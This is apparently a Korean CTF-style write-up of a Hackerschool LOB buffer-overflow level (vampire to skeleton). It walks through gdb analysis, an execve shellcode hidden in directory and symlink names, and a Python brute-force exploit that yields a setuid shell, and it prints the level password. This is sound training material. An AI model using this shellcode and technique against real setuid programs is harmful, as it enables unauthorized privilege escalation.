본문 바로가기

System Hacking/해커스쿨 LOB

해커스쿨 LOB ( vampire -> skeleton ) by ORANG - 브루트 포싱

LOB_vampire

 

 [vampire@localhost vampire]$ ls

skeleton  skeleton.c

[vampire@localhost vampire]$ bash2

[vampire@localhost vampire]$ cat skeleton.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - skeleton

        - argv hunter

*/


#include <stdio.h>

#include <stdlib.h>


extern char **environ;


main(int argc, char *argv[])

{

char buffer[40];

int i, saved_argc;


if(argc < 2){

printf("argv error\n");

exit(0);

}


// egghunter

for(i=0; environ[i]; i++)

memset(environ[i], 0, strlen(environ[i]));


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


// check the length of argument

if(strlen(argv[1]) > 48){

printf("argument is too long!\n");

exit(0);

}


// argc saver

saved_argc = argc;


strcpy(buffer, argv[1]);

printf("%s\n", buffer);


        // buffer hunter

        memset(buffer, 0, 40);


// ultra argv hunter!

for(i=0; i<saved_argc; i++)

memset(argv[i], 0, strlen(argv[i]));

}

 

bash2 +  힌트를 보니 이번에는 argc 인자를 통해 argv[]를 싸그리 다 초기화시키네요

gdb로 분석하며 살펴보겠습니다..!!

 

 (gdb) disas main

Dump of assembler code for function main:

0x8048500 <main>: push   %ebp

0x8048501 <main+1>: mov    %esp,%ebp

0x8048503 <main+3>: sub    $0x30,%esp

…생략…

0x8048667 <main+359>: incl   0xffffffd4(%ebp)

0x804866a <main+362>: jmp    0x8048623 <main+291>

0x804866c <main+364>: lea    0x0(%esi,1),%esi

0x8048670 <main+368>: leave

0x8048671 <main+369>: ret

 

main+3을 보니, 48바이트 메모리를 확보하네요!!

 

0으로 모두 초기화된 이후인 main+368에 브레이크 포인트를 걸고, 뭐라도 건져볼까.. 찾아보겠습니다!!

 

 (gdb) b * main+368

Breakpoint 1 at 0x8048670

(gdb) r `perl -e 'print "A"x44, "BBB\xbf"'` `perl -e 'print "\x90"x50'`

Starting program: /home/vampire/tmp/skeleton `perl -e 'print "A"x44, "BBB\xbf"'` `perl -e 'print "\x90"x50'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB


Breakpoint 1, 0x8048670 in main ()

(gdb) x/200x 0xBFFFFFFF-400

…생략…

0xbfffff8f: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffff9f: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffffaf: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffffbf: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffffcf: 0x00000000 0x00000000 0x00000000 0x00000000

0xbfffffdf: 0x682f0000 0x2f656d6f 0x706d6176 0x2f657269

0xbfffffef: 0x2f706d74 0x6c656b73 0x6e6f7465 0x00000000

 

폭격이라도 맞은것처럼 env, argv[], buffer 모조리 0으로 초기화되었습니다..

하지만 전전 문제와 같게 맨 뒤에 뭔가 남아있네요ㅎㅎ

 (gdb) x/s 0xbfffffe1

0xbfffffe1:  "/home/vampire/tmp/skeleton"

 

확인해 보면, 명령어(파일명 절대경로)입니다.ㅎㅎ 이부분이 남아있다는 점을 이용해 공격하면 되겠네요!! 새로운 방법을 알려주신 분이 계셔서 연습할겸 이 방법을 써먹어 보겠습니다. 전전 문제에서는 \x2f가 디렉토리 구분자 ‘/‘로 인식되기 때문에 ‘\x2f’를 제외한 셸코드를 이용했었는데, 이번에는 \x2f가 포함된 상태로 절대경로를 일치시키는 쪽으로 문제를 풀어보겠습니다!

 

조금 복잡한 풀이지만.. 항상 같은 풀이법은 쫌 질리니까요!!

 

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

이 셸코드를 ‘\x2f’마다 나누어 디렉토리를 만들겠습니다. \x2f\x2f이어진 부분은 \x90을 넣어주어 분리해주면 되겠죠??ㅎㅎ 음 그리고 편안한 공격을 위해 앞쪽에는 nop을 20개 넣어주겠습니다.

/x2f/x2f는 //으로 인식되므로 문제가 되지 않습니다. /bin/bash와 /bin//bash가 문제가 되지 않는것처럼 말이죠ㅎㅎ 앞에 하나만 디렉토리 구분자로 사용해주겠습니다~

 

\x90*20 + \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

으로 공격해보겠습니다..!!

 [vampire@localhost vampire]$ mkdir `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68"'`

[vampire@localhost vampire]$ cd `perl -e 'print “\x90"x20,"\x31\xc0\x50\x68"'`

[vampire@localhost 1Ph]$ mkdir ./`perl -e 'print "\x2f\x73\x68\x68"'`

[vampire@localhost 1Ph]$ ls

shh

[vampire@localhost 1Ph]$ cd ./`perl -e 'print “\x2f\x73\x68\x68"'`

[vampire@localhost shh]$ ln -s /home/vampire/skeleton `perl -e 'print "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

[vampire@localhost shh]$ ls

bin?PS??°??

[vampire@localhost shh]$ echo $PWD

/home/vampire/1Ph/shh

[vampire@localhost shh]$ $PWD/`perl -e 'print "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

argv error

[vampire@localhost shh]$ $PWD/`perl -e 'print "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` `perl -e 'print "A"x44,"BBB\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB

[vampire@localhost shh]$ `perl -e 'print "/home/vampire/","\x90"x20,"\x31\xc0\x50\x68", "/", "\x2f\x73\x68\x68", "/", "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` `perl -e 'print "A"x44,"BBB\xbf"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB

Segmentation fault

 

다시 한번 중요한건.. ‘\x2f’ 와 ‘/‘는 같으므로 /을 기준으로 디렉토리를 만들어준겁니다!

 

여기까지 해서 셸코드를 완성했습니다..!! 현재 위치 자체+링크걸린 파일명이 셸코드가 되었습니다ㅎㅎ..

정말 디렉토리 구분자에 맞춰 셸코드를 나눠 입력함으로.. 셸코드를 완성했습니다..!!

이런 방법을 생각하시다니!! 정말 똑똑한 분들이 많네요!!

 

정확한 분석을 위해 먼저 tmp의 복사본에 세그먼트 폴트를 유도하고, 주소를 찾아보려다..

해야할게 너무 많아서 시간 관계로 그냥 setuid가 걸린 원본 파일에 브루트 포싱을 하는 쪽으로 방법을 바꿨습니다. 어제 틈틈이 읽어본 파이썬이 도움이 되었네요!! 개뿌듯..!!

 



 

파이썬을 페이로드 작성하면서 살펴본 거라.. 코드가 지저분하네요

시간이 부족해서 수정하지 못했습니다 양해해주시길..

코드를 보면 0xBFFFFFFF 부터 1씩 낮춰가며 공격하는게 보입니다.ㅎㅎ 코어 덤프를 통해 정확한 주소를 찾지 않아도 공격할 수 있겠군요. 공격해보겠습니다!!

 

 [vampire@localhost shh]$ cat attack.py

#! /usr/bin/python


import os


LINK_FILENAME = "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"


payload1=""

payload1 = payload1 + "/home/vampire/" + "\x90"*20 + "\x31\xc0\x50\x68"

payload1 = payload1 + "/" + "\x2f\x73\x68\x68" + "/"

payload1 = payload1 + LINK_FILENAME


print "Exploit Attack started ~!!!"


for i in range(0xff, 0x00, -1):

payload2=""

payload2 = payload2 + "A"*44 + chr(i) + "\xff\xff\xbf"


pid = os.fork()


print payload2


if pid == 0:

os.execv(payload1, ["ORANG",payload2])

else:

os.waitpid(pid, 0)

[vampire@localhost shh]$ ./attack.py

Exploit Attack started ~!!!

…생략…

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

bash$ id

uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)

bash$ my-pass

euid = 510

shellcoder

 

브루트 포스를 통해 셸을 획득했습니다!!

생각지 못한 새로운 방법과 새로 공부한 파이썬으로 만든 코드가 먹히다니.. 뿌듯하네요!!ㅎㅎ